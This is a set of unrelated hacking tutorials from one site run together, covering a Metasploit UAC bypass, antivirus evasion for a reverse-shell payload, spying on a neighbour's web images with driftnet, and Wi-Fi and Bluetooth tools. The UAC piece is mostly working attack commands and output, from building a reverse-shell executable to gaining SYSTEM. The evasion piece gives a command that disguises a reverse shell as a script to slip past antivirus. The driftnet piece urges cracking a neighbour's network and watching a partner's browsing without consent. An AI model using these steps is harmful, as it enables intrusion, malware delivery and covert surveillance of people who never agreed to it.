client side), and others.These four tools in the aircrack-ng suite are our Wi-Fi hacking work horses. We'll use each of these in nearly every Wi-Fi hack. Some of our more hack-specific tools include airdecap-ng, airtun-ng, airolib-ng and airbase-ng. Let's take a brief look at each of these.Step 6: Airdecap-NgAirdecap-ngenables us to decrypt wireless traffic once we have cracked the key. In other words, once we have the key on the wireless access point, not only can we use the bandwidth on the access point, but with airdecap-ng we can decrypt everyone's traffic on the AP and watch everything they're doing (the key is used for both access and for encryption).Step 7: Airtun-NgAirtun-ngis a virtual tunnel interface creator. We can use airtun-ng to set up an IDS on the wireless traffic to detect malicious or other traffic on the wireless access point. So, if we're looking to get an alert of a particular type of traffic (see my tutorial oncreating a PRISM-like spy tool), we can use airtun-ng to set up a virtual tunnel that connects to an IDS like Snort to send us alerts.Step 8: Airolib-NgAirolib-ngstores or manages ESSID's (the name of the access point) and password lists that will help speed up WPA/WPA2 password cracking.Step 9: Airbase-NgAirbase-ngenables us to turn our laptop and wireless card into an AP. This can be especially useful when doing a rogue access point or evil twin attacks. Basically, airbase-ng allows us to attack the clients, rather than the AP, and encourages the clients to associate with us rather than the real AP.That's It for NowThese are the primary tools in the aircrack-ng suite that we'll be using as we explore Wi-F hacking. There are other tools, but these are the ones we'll be focusing on. If you're looking for a cheap, handy platform to get started working with aircrack, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Aircrack-ng works great on the Kali Linux Raspberry Pi.Image by SADMIN/Null ByteGet Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxIn our next guide, we'll start our exploration of wireless hacking techniques with creating a evil twin access point, so make sure to keep coming back. If you have any questions, please comment below or start a discussion in theNull Byte forumand we'll try to help you out.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseAerial symbolandWireless routerphotos via ShutterstockRelatedHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Hack Wi-Fi Networks with BettercapHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Creating an Evil Twin Wireless Access Point to Eavesdrop on DataHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Crack Wi-Fi Passwords—For Beginners!How To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
How to Bypass UAC & Escalate Privileges on Windows Using Metasploit « Null Byte :: WonderHowTo
UAC is something we've all dealt with onWindows, either as a user, administrator, or attacker. It's a core feature of the Windows security model, and for the most part, it does what it's supposed to. But it can be frustrating as a hacker when attempting privilege escalation, but it's easy enough to bypass UAC and obtain System access withMetasploit.In our demonstration here, we will be usingKali Linuxto attack aWindows 7box. If you have access to a practice Windows 7 computer, feel free to follow along step by step, but it will also work on other Windows versions. However, for this to work, there needs to be a user with administrative privileges on the target machine, so make sure that's the case.UAC OverviewUAC, or User Account Control, is a security feature ofWindowsthat works by limiting what a standard user can do until an administrator authorizes a temporaryincrease of privileges. We've all dealt with the annoying pop-up when trying to install software or run a specific program, but this feature helps to keep malware at bay by only allowing applications to run with higher privileges on an as-needed basis.Don't Miss:How to Create an Undetectable Payload for Windows 10This feature was first introduced inWindows Vistaand is still present on Microsoft operating systems today. It can be disabled, but any decent system administrator would never allow that to happen. From an attacker's standpoint, this can make it challenging to elevate privileges on a user, because even if that user has administrative rights, UAC will prevent escalation.Meterpreterhas a built-in command to get System, but if UAC is enabled, it won't work. Luckily, there is a way to get around this. With a few steps,Metasploitmakes it easy to bypass UAC, escalate privileges, and own the system.Step 1: Compromise the TargetTo begin, let'screate a temporary directoryto work out of, just to keep things clean.~# mkdir temp ~# cd temp/The first thing we need to do is get a low privilege shell on the target. For demonstration purposes, we will create a simple payload usingMSFvenomand save it as an executable to be run on the target.~/temp# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.0.1 lport=1234 -f exe -o pwn.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: pwn.exeHere's what is happening in the command above:the-pflag specifies the payloadlhostis our local machine to connect back tolportis the local port to connect tothe-fflag sets the formatthe-oflag specifies the output fileNow that our file is saved, we need to set up a listener for it to connect back to once it is executed. Open up a new terminal tab or window and fire up Metasploit with themsfconsolecommand. We can use the versatile multi-handler to catch our reverse shell.~# msfconsole msf5 > use exploit/multi/handlerAll we need to do is set the options to match what we specified in the executable we created earlier. Set thepayload,lhost, andlportas such:msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(multi/handler) > set lport 1234 lport => 1234Typerunand the handler will start listening for incoming connections.msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.0.1:1234Back in our working directory, we can start anHTTP serverto host our file, so all the victim has to do is connect to us, download the file, and run it. In the real world, this could be accomplished in any number of ways, includingsocial engineeringor aphishing attack. For now, though, we will keep it simple.We could start Apache and serve the file from there, but there's aPythonhas abuilt-in modulecalledSimpleHTTPServerthat is lightweight, easy to use, and can be run from anywhere without any setup. Start it with the following command.~/temp# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...Now all the victim has to do is connect to our machine on port 8000 to get the file. On the target, browse to the IP address of the attacking machine and download the file.http://10.10.0.1:8000/pwn.exeThen, simply save it and run it:If everything goes smoothly, we should see a Meterpreter session established back on our handler.msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49224) at 2019-04-08 11:22:17 -0500At this point, we can stop the Python server since we have successfully connected to the target.Step 2: Attempt Privilege EscalationNow that we have a Meterpreter session, we can see what user we are running as with thegetuidcommand.meterpreter > getuid Server username: DLAB\admin2The name shows up as "admin2," so it's a good chance this user has administrative privileges. Let's try to escalate using thegetsystemcommand.meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin)And it fails. We can see that this command tries three methods of privilege escalation, and it's giving us an environment error. We can actually try each of these methods out separately. Use the-hflag to display the help for this command.meterpreter > getsystem -h Usage: getsystem [options] Attempt to elevate your privilege to that of local system. OPTIONS: -h Help Banner. -t <opt> The technique to use. (Default to '0'). 0 : All techniques available 1 : Named Pipe Impersonation (In Memory/Admin) 2 : Named Pipe Impersonation (Dropper/Admin) 3 : Token Duplication (In Memory/Admin)If we use the-tflag, we can specify which technique to use. Let's try the first one:meterpreter > getsystem -t 1 [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin)Now we can see it is giving us an "Access is denied" error message. It might not seem like it, but this is good. Next, we will bypass UAC and get System access.Step 3: Bypass UACWe can use a Metasploit module to bypass the UAC feature on Windows, but first, we need to background our current session. Typebackgroundto do so.meterpreter > background [*] Backgrounding session 1...In Metasploit, use thesearchcommand to find a suitable exploit.msf5 > search uac Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 1 exploit/windows/local/ask 2012-01-03 excellent No Windows Escalate UAC Execute RunAs 2 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass 3 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack) 4 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key) 5 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key) 6 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) 7 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS 8 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack) 9 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability) 10 post/windows/gather/win_privs normal No Windows Gather Privileges Enumeration 11 post/windows/manage/sticky_keys normal No Sticky Keys Persistance ModuleWe want number two, the "bypassuac" exploit — load the module with theusecommand.msf5 > use exploit/windows/local/bypassuacTake a look at theoptionsto see what we need.msf5 exploit(windows/local/bypassuac) > options Module options (exploit/windows/local/bypassuac): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. TECHNIQUE EXE yes Technique to use if UAC is turned off (Accepted: PSH, EXE) Exploit target: Id Name -- ---- 0 Windows x86It looks like it needs the session we put in the background earlier, and we'll also need to set the target to 64-bit since we are using 64-bit Windows. Use theshowcommand to view available targets.msf5 exploit(windows/local/bypassuac) > show targets Exploit targets: Id Name -- ---- 0 Windows x86 1 Windows x64And set the target and session numbers.msf5 exploit(windows/local/bypassuac) > set target 1 target => 1 msf5 exploit(windows/local/bypassuac) > set session 1 session => 1We also need to specify a payload, so again, we'll use the trusty Meterpreter reverse TCP.msf5 exploit(windows/local/bypassuac) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/local/bypassuac) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(windows/local/bypassuac) > set lport 1234 lport => 1234Everything should be good to go, so typerunto launch the exploit.msf5 exploit(windows/local/bypassuac) > run [*] Started reverse TCP handler on 10.10.0.1:1234 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 7168 bytes long being uploaded.. [*] Sending stage (206403 bytes) to 10.10.0.104 [*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.104:49235) at 2019-04-08 11:30:04 -0500 meterpreter >We can see it checks the UAC level and if the user is part of the Administrators group, and a new session is successfully opened. Let's rungetuidonce again.meterpreter > getuid Server username: DLAB\admin2We can see we are still admin2 — the exploit doesn't automatically drop us into the System account. But now if we rungetsystem, we are successfully able to bypass UAC and escalate privileges.meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).And now we can confirm that we finally have System access.meterpreter > getuid Server username: NT AUTHORITY\SYSTEMWrapping UpToday, we learned a little about UAC and how it protects Windows from unauthorized access. We covered how to get an initial foothold on the target and attempted privilege escalation. When that didn't work, we used a Metasploit module to bypass the restriction and ultimately get System-level privileges on the target.Don't Miss:How to Bypass macOS Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by12019/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Bypass UAC Using DLL HijackingHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHow to Hack Like a Pro:Getting Started with MetasploitHow To:Use LinEnum to Identify Potential Privilege Escalation VectorsHack Like a Pro:The Hacker MethodologyHow To:Enable Windows 10 Admin to Remove User Account Control PopupsHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Run an VNC Server on Win7Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)How To:Hack Metasploitable 2 Including Privilege EscalationHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:Find Exploits & Get Root with Linux Exploit SuggesterHow To:Disable User Account Control (UAC) in Windows VistaHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Use One-Lin3r to Quickly Generate Reverse Shells, Privesc Commands & MoreHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:log on Windows 7 with username & passwordDrive-By Hacking:How to Root a Windows Box by Walking Past It
Hack Like a Pro: How to Change the Signature of Metasploit Payloads to Evade Antivirus Detection « Null Byte :: WonderHowTo
Welcome back, my budding hackers!I've written severallistener guideson creating amalicious PDFormalicious Word documentthat would carry in it a payload with the Meterpreter, orreverse shell enablingyou to own the system. One of the hurdles to using these techniques is theantivirus (AV) softwareon the target system. For instance, if you try to email a malicious PDF or Word doc, it's likely that the victim system will alert the victim that it contains a virus or other malware.The key lesson in this tutorial is how we can get past that antivirus software.The Basics of How Antivirus Software WorksAntivirus software companies generally develop their software to look for a "signature" of viruses and other malware. In most instances, they look at the first few lines of code for a familiar pattern of known malware. When they find malware in the wild, they simply add its signature to their virus/malware database and when it next encounters that malware, the software alerts the computer owner.How You Could Bypass Antivirus SoftwareObviously, zero-day exploits, or malware that is brand new and never been seen by the AV software companies, will pass right by such a detection scheme.Another method of getting past the AV software is to simply change the "signature" of the malware. In other words, if we can change the encoding of the malware without changing its functionality, it should sail right past the AV software without detection. If you have the coding skills, you can re-code any malware and get this desired result.If you don't have these advanced coding skills, there is still hope!Metasploithas a built-in command calledmsfencodethat I introduced the Null Byte community to in an earlier guide ondisguising an exploit's signature.How to Change the Signature of Metasploit PayloadsIn this tutorial, we will take a more in-depth look at this command and its capabilities for re-coding our payloads. A quick note before we get started—do your reconnaissance!Find out what AV software the target system is using and re-encode to evadethatAV package. No re-encoding scheme will work with all AV software, so don't waste time developing a new encoding scheme that works with your AV software, but may not evade the target system's AV software.So, let's open upBackTrackand fire up Metasploit!Step 1: Use MsfencodeLet's begin by simply typing msfencode at our prompt with the-hswitch for help.msfencode -hAs you can see, this displays all the key switches that we can use with this command. Note the-eswitch. This designates the encoder we want to use to re-encode our payload.Also, note the section I have highlighted with the-tswitch. This switch determines what the output format is. You can see there are numerous formats including raw, ruby, perl, java, exe, vba, vbs, etc. Each of these outputs gives us an opportunity to change the signature and attempt to evade the AV software.Step 2: List the Encoding SchemesNext, let's look at what encoders are available in msfencode.msfencode -lAs this screenshot shows, msfencode includes numerous different encoding schemes. Fourth from the bottom we see "shikata_ga_nai." Note that it is rated "excellent" and it's a "Polymorphic XOR Additive Feedback Encoder." Let's take a look at that one.What's That Strange Sounding Encoder?First, this strange sounding shikata_ga_nai encoder is a Japanese phrase that loosely translates to "nothing can be done about it." An excellent name for an encoder with bad intentions!Second, it's an additive XOR polymorphic encoder. Without going into too much detail, this means that it will change its shape/signature (polymorphic), by using an XOR encrypting scheme. XOR is far from a perfect encryption scheme, but it's efficient and can generate multiple shapes/signatures quickly that can then be decrypted by the code itself once it arrives at the target.Step 3: Re-Code Our PayloadNow, let's use shikata_ga_nai to re-encode our reverse TCP shell to get it past AV software. At the command prompt in BackTrack, type:msfpayload windows/shell/reverse_tcp LHOST=192.168.1.101 R |msfencode -e x86/shikata_ga_nai -c 20 -t vbs > /root/AVbypass.vbsThe BreakdownLet's take this command apart and see what it does.msfpayload windows/shell/reverse_tcp LHOST 192.168.1.101 RThe above part creates a payload with the reverse TCP shell for a local host at 192.168.1.101.The "|"This symbol means pipe that payload to the following command.msfencode -e x86/shikata_ga_nai -c 20 -t vbsMeans re-encode that payload with skikata_ga_nai and run it 20 times (-c 20), and then encode it to look like a .vbs script.> /root/AVbypass.vbsMeans send the newly encoded payload to a file in the /root directory and name it AVbypass.vbs so that it appears to be a .vbs script.The ResultWhen we run this command, we get the following output showing us that shikata_ga_nai is running our payload through 20 iterations (-c 20).Now let's go to the directory we told shikata_ga_nai to send our newly encoded payload to and check to see whether it is there.cd /rootls -lAs you can see, we now have a file in our root directory called AVbypass.vbs that we can now test against the target's AV software to see whether it detects it. This method works in most cases, but if it doesn't, simply send the payload through various number of iterations until you find an encoding that the AV software does not detect.Keep coming back, my budding hackers, for more adventures in hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseEvil / innocent eyesimage via ShutterstockRelatedHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:How to Bypass Antivirus Software by Disguising an Exploit's SignatureHacking macOS:How to Create an Undetectable PayloadHack Like a Pro:How to Evade AV Detection with Veil-EvasionHack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Bypass Antivirus Using Powershell and Metasploit (Kali Tutorial)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hacking Windows 10:How to Break into Somebody's Computer Without a Password (Exploiting the System)Hack Like a Pro:The Basics of XORingHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hacking Windows 10:How to Break into Somebody's Computer Without a Password (Setting Up the Payload)Antivirus Bypass:Friendly Reminder to Never Upload Your Samples to VirusTotalHow To:Use Metasploit's Web Delivery Script & Command Injection to Pop a ShellNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItIPsec Tools of the Trade:Don't Bring a Knife to a Gunfight
Hack Like a Pro: How to Use Driftnet to See What Kind of Images Your Neighbor Looks at Online « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!We have looked at a number of ways that we sniff traffic on the network with such tools asWireshark,tcpdump,dnsiff, and others, but each of these tools is only capable of pulling packets off the wire.Those packets can be examined for various attributes such as the source and destination IP address, what port is going to and coming from, the ASCII characters in the packet, and if we're lucky, maybe a password or two. Usually our sniffing is visualized like the Wireshark output below.What none of these tools do is detect and display graphic files that are passing over the wire. This would require that such a tool would be able to...Identify packets containing the binaries for a portion of a graphic file,Then combine of the binaries of the packets,And then display them.That is quite a task for any tool to do.How to See What Images Your Neighbor Is Looking at OnlineFortunately for us, such a tool has been developed, albeit still in beta form. The tool is calleddriftnetand it was developed by Chris Lightfoot and is packaged with bothKaliandBackTrack. Although far from perfect, it gives us the capability to sniff the wire for graphics, audio, or MPEG4 images and display them to an X window.In our example situation, we'll be trying to determine what kind of images our neighbor is looking at. If you suspect your neighbor of watching pornographic films online, you can get a general idea of what their tastes may be byviewing trends in your area, but we'll be trying to pinpoint exactly what they're looking at instead.Step 1: Open Kali & DriftnetLet's fire up Kali and open driftnet. Go to Applications, Kali Linux, Sniffing/Spoofing, Web Sniffers, and then driftnetWhen you do, you will be greeted by this driftnet help screen.Using driftnet is very simple without any options. Simple type the following at the prompt.kali >driftnetWhen you do so, driftnet will open a small X window screen in the upper left-hand corner as seen in the screenshot below. Expand that screen as large as possible, if you want to see the images going across the wire.If you do not designate a directory to store the images in (-d switch), driftnet will create a directory within your/tmpdirectory to store the images it captures.Step 2: Hack the NetworkNext, we need to get inside our neighbors network. We can do this by connecting to his access point (AP) in any of many ways. Check out my tutorials on crackingWEP passwords,WPA2 passwordsand usingReaverorcoWPAttyto crack WPS.Maybe even easier, would be to set up anEvil Twinand let your neighbor connect to it. Remember, your neighbor's computer will automatically connect to the strongest AP. You can turn the power up on your AP so that your Evil Twin is stronger than his local AP and he will automatically connect to yours. Then, you can easily sniff all his traffic!Of course, if it's your own AP and you're curious as to what your child, spouse, or girlfriend is viewing online, you won't need to do any cracking. You simply start sniffing the traffic and capturing the graphic images with driftnet.I hope it goes without saying that this technique applies equally well to your corporate, school, or other institution's network. The key issue with these wired networks is overcoming the fact that the switch isolates traffic, but this can be overcome in a number of different ways such as MAC flooding orusing dsniff.Step 3: View the Graphic FilesNow, let's go back to the driftnet X window screen to see what are neighbor has been viewingHmm...looks like he hasn't been viewing porn at all, but rather the latest Sport Illustrated Swimsuit issue!Step 4: View the Tmp DirectoryThe viewer in driftnet is great to view what is crossing the wire in real-time, but driftnet also captures the images and places them on your computer in the/tmpdirectory. Navigate to the/tmpwith the following.kali > cd /tmpThen, list all the directories there.kali > ls -lAt the very top of my screen and the directory listing, you can see a new directory nameddrifnet-y46mNv. Note that driftnet is spelled incorrectly. After all, it is only a beta.Next, navigate to that directory.kali > cd drifnet-y46mNvAnd then list the contents.kali > ls -lHere we can see all the images that driftnet captured as we were sniffing our neighbor's traffic. Driftnet can also be used to capture MPEG4 files and audio files, but I'll leave that for another day.Driftnet is one of those open source tools that does the job, but still needs a bit of refinement. In our case, it enabled us to snoop on our neighbors Internet viewing. We'll explore more of driftnet's capabilities in future tutorials, sokeep coming back, my tenderfoot hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseSpying neighborimage via ShutterstockRelatedNews:The Best Apps for Customized Cover Photos on Your Facebook TimelineNews:Simple Man-in-the-Middle Script: For Script KiddiesReal Scenarios #2:The Creepy Teacher [Part 1]How To:Watch This Sunday's 2013 Pro Bowl Football Game OnlineHow To:Get the New iPad Pro Wallpapers on Any iPhoneHow To:Get All the New iPad Pro Wallpapers on Your iPhoneNews:Could This Be Our First Look at the iPhone 7 Pro?How To:Printable iPhone 11, 11 Pro & 11 Pro Max Cutouts — See Which Size Is Right for YouHow To:Generate Viral Memes Like a Pro with These Apps for Your iPhoneInstagram 101:How to Add More Than 30 Hashtags to Your PostsHow To:What to Do if You Accidentally Liked a Photo on InstagramHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Add Your Own Custom Screensaver Images to Your Kindle Lock ScreenThe Clone Wars:The Russians Flirt with Instagram & Fake Follower Vending MachinesHack Like a Pro:How to Hack into Your Suspicious, Creepy Neighbor's Computer & Spy on HimNews:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Make Your Galaxy S20's Photos Instagram-Ready in SecondsHow To:Rotate Photos Without Any Cropping on the iPhone 11, 11 Pro, or 11 Pro Max When EditingNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereHow To:Hide All of the Social Numbers on Your Facebook Page with the DemetricatorInstagram 101:Why You Should Never Put Hashtags in Your PostsHow To:Use container fields with FileMaker Pro 10News:Here's What We Know About the Mysterious Triple Camera in Huawei's Upcoming FlagshipApple Announces New iPad Pro:9.7-Inch Screen, Better Audio, & MoreHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsNews:Scandy Gives Tango Owners a Taste of 3D ScanningHow To:Add Life to Wallpapers with Filters & EffectsNews:Online E-Commerce Video Games RetailersNews:The Epson International Pano Awards Photography Contest - Deadline April 15, 2011News:Nextdoor Brings Private Social Networks to a Neighborhood Near YouCamera Plus Pro:The iPhone Camera App That Does it AllNews:Slow Motion Footage of Surfers from Jaws Beach, HawaiiNews:Minecraft Super Compact Block ChangerNews:Sunflower goal and tips!How To:Trick YouTube Into Being a Decent Video EditorNews:Hayao Miyazaki's "My Neighbor Totoro" CakesHow To:The Official Google+ Insider's Guide IndexNews:Bees have come to Farmville!News:ASC DP shoots on 5D, looks like crapNews:What kind of camera do I need?
How to Target Bluetooth Devices with Bettercap « Null Byte :: WonderHowTo
An incredible amount of devices use Bluetooth or Bluetooth Low Energy to communicate. These devices rarely have their radios switched off, and in some cases, are deliberately used as trackers for lost items. While Bluetooth devices support MAC address randomization, many manufacturers do not use it, allowing us to use tools like Bettercap to scan for and track Bluetooth devices.What Kind of Devices Use BluetoothNowadays, you might expect devices like laptops and smartphones use Bluetooth radios. Increasingly, Bluetooth is finding its way into nearly everything, fromsmart tracking devicesto find lost things tosmart police holstersthat phone home when a weapon is drawn.One thing these devices have in common is that they can be discovered with Bettercap. The difference between how useful that information is usually relies on the device manufacturer, as Bluetooth is a more secure protocol than Wi-Fi if implemented correctly. Fortunately, for hackers, many manufacturers don't choose to take advantage of device security like MAC address randomization, causing these Bluetooth devices to broadcast the same MAC address everywhere they go.Don't Miss:Use Ettercap to Intercept Passwords with ARP SpoofingThat makes them easy to track. It also makes it easy to determine what kind of device is behind the Bluetooth radio. While we can see nearby Bluetooth devices that do randomize their MAC address, they will likely appear as many devices are periodically transmitting around us at roughly the same signal strength.Bettercap for BluetoothBettercap is the successor toEttercapand features attack modules for many different types of radio and network technologies. Today, we'll be focusing on the Bluetooth module, but there is a lot more to Bettercap than just Bluetooth hacking. Bettercap can also hunt down and attack Wi-Fi networks, and by default, will begin enumerating devices on whatever network you are on when you start it. This ability translates well to identifying and scanning Bluetooth devices.The tool comes with a Bluetooth Low Energy suite that 